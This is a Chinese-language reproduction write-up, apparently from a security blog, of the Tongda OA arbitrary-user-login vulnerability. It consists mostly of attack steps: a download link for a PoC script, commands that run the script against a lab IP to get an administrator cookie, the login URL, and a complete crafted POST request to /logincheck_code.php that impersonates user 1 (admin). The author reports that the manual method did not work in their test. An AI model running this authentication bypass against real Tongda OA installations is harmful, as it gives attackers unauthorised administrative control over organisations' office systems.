漏洞描述
通達OA是一套辦公系統。通達OA官方於4月17日發布安全更新。經分析,在該次安全更新中修復了包括任意用戶登錄在內的高危漏洞。攻擊者通過構造惡意請求,可以直接繞過登錄驗證邏輯,偽裝為系統管理身份登錄OA系統。
影響范圍
通達OA < 11.5.200417版本
通達OA 2017版本
環境搭建
環境&POC鏈接: https://pan.baidu.com/s/1oM2l0mLk6xjeGI77Us0i3A 提取碼:0pv3 (轉載至公眾號 thelostworld)
環境和poc都在了鏈接里面 (本次復現是通達OA 2017版本)
搭建完成后,訪問
1.利用腳本獲取cookie (-v是版本,其它版本需要更換)
python37 tongda-oA.py -v 11 -url http://192.168.247.130 11.x版本
python37 tongda-oA.py -v 2017 -url http://192.168.247.130 2017版本
2.訪問
http://192.168.247.130/general/index.php?isIE=0&modify_pwd=0 抓包替換cookie (直接利用插件替換cookie也是一樣)
登錄成功
-------------------------------------------------------
另外也附上手工獲取cookie的方法
https://mp.weixin.qq.com/s/P-LC0fosKu0k7pCiBvQXPw 參考
1. 訪問 /ispirit/login_code.php 獲取codeuid
2.替換成codeuid
POST /logincheck_code.php HTTP/1.1 Host: thelostworld Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5; Connection: close Content-Length: 120 {'codeuid': 'thelostworld', 'uid': '1', 'source': 'pc', 'type': 'confirm', 'username': 'admin'}
如果是"status":1就存在漏洞,同時本次的Cookie: PHPSESSID=p330igntkg0ocmddum2scj8jp5;就是本次的會話PHPSESSID。
這個方法沒測試成功,也確實是返回了1,但替換cookie就是沒登錄上。。。